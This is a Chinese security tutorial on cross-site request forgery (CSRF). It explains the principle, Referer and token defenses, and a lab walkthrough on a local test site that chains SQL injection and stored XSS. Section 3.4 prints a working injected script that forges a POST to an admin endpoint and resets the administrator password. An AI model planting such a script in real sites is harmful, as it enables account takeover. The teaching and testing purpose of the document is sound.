CSRF--跨站请求伪造
2021/6/21 0:03:19
本文主要是介绍CSRF--跨站请求伪造,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
CSRF--跨站请求伪造
- 1. 原理
- 1.1 为何有CSRF漏洞
- 1.2 漏洞原理
- 1.3 CSRF联合XSS原理
- 2. 防范
- 2.1 referer字段
- 2.2 token校验
- 3. XSS联合CSRF实例
- 3.1 绕过后台登录页面
- 3.2 在留言板上测试xss漏洞
- 3.3 登录后台
- 3.4 构造ajax请求
- 4. ajax代码请求
1. 原理
1.1 为何有CSRF漏洞
服务器对浏览器的cookie验证过之后,在有效期内,浏览器不需要再次认证就可以直接访问服务器。攻击者利用此原理,借助用户的cookie,进行请求的伪造。
1.2 漏洞原理
攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过cookie,所以被访问的网站会认为是真正的用户操作而去运行。
从字面上理解CSRF(跨站请求伪造)
跨站:发生在目标网站上,借用目标网站的意思
请求:用户使用浏览器打开网页进行相关请求
伪造:攻击者伪造恶意请求,让目标浏览器代替执行
1.3 CSRF联合XSS原理
用户浏览器对服务器请求的时候,基于服务器对浏览器的信任(由于cookie没有过期),请求的时候会执行攻击者构造的恶意代码(常常利用存储型XSS上传恶意代码)
2. 防范
2.1 referer字段
HTTP头中有一个Referer字段,这个字段用以标明请求来源于哪个地址。一般情况下,Referer字段应和请求的地址位于同一域名下。如果有恶意请求攻击,referer字段中会记录恶意的网址信息。
因此检验referer字段的信息,请求目标地址是否和referer字段下的地址在同一域名。
2.2 token校验
token值通常是窗体中的一个数据项。服务器将其生成并附加在窗体中,其内容是一个伪随机数。客户端每次请求,这个值都会变化。
客户端在请求的时候,客户端携带一个随机token值,用作请求的校验,服务器验证成功,回复此请求。但是攻击者无法知道token值,因此伪造请求的时候,token值无法正常校验,服务器拒绝伪造请求。
3. XSS联合CSRF实例
3.1 绕过后台登录页面
思路:通过sql注入找到管理员密码
1. 利用sql注入,在url框找到了 newsid=? 2. 利用联合查询
3.2 在留言板上测试xss漏洞
3.3 登录后台
http://192.168.1.105/admin/admin_index.php
找到留言板管理,发现有弹窗信息4和5,因此确定”主题“和”内容“这两块有XSS漏洞
3.4 构造ajax请求
构造ajax请求,趁cookie未过期,借助服务器对浏览器的信任,构造伪造的请求
修改管理员的密码(但是在实际项目中,已经进入后台,就没必要修改管理员密码)
<script> var xmlhttp=new XMLHttpRequest(); xmlhttp.open("POST","http://192.168.1.105/admin/adminadd.php?id=11","true") xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("name=admin&passwd=123456&remark=%B3%AC%BC%B6%B9%DC%C0%ED%D4%B1&mid=1&adminsubmit=%CC%E1%BD%BB"); </script>
注意 post 是以表单传输数据的,因此要有setRequestHeader
open() 三个参数分别为 请求方式,请求url,true表示异步请求
send() 表示发送的数据内容
4. ajax代码请求
AJAX学习连接 https://www.w3school.com.cn/ajax/ajax_xmlhttprequest_send.asp
<html> <head> <script type="text/javascript"> function loadXMLDoc() { var xmlhttp; if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else {// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.getElementById("myDiv").innerHTML=xmlhttp.responseText; } } xmlhttp.open("GET","/ajax/demo_get2.asp?fname=Bill&lname=Gates",true); xmlhttp.send(); } </script> </head> <body> <h2>AJAX</h2> <button type="button" onclick="loadXMLDoc()">请求数据</button> <div id="myDiv"></div> </body> </html>
这篇关于CSRF--跨站请求伪造的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-14Fetch / Axios学习:入门教程与实战指南
- 2024-11-14Typescript 类型课程入门教程
- 2024-11-14Fetch / Axios课程:初学者必看的网络请求教程
- 2024-11-14Styled-components课程:初学者指南
- 2024-11-13pre-commit 自动化测试课程:入门教程与实践指南
- 2024-11-13什么是AIGC?如何使用AIGC技术辅助办公?
- 2024-11-13Slicm 框架怎么进行用户认证?-icode9专业技术文章分享
- 2024-11-13在查询时将 map_coord 列的值转换为字符串有哪些方法?-icode9专业技术文章分享
- 2024-11-13如何将微信地区改成自定义文案?-icode9专业技术文章分享
- 2024-11-13DNS 缓存存在问题有哪些症状和解决方法?-icode9专业技术文章分享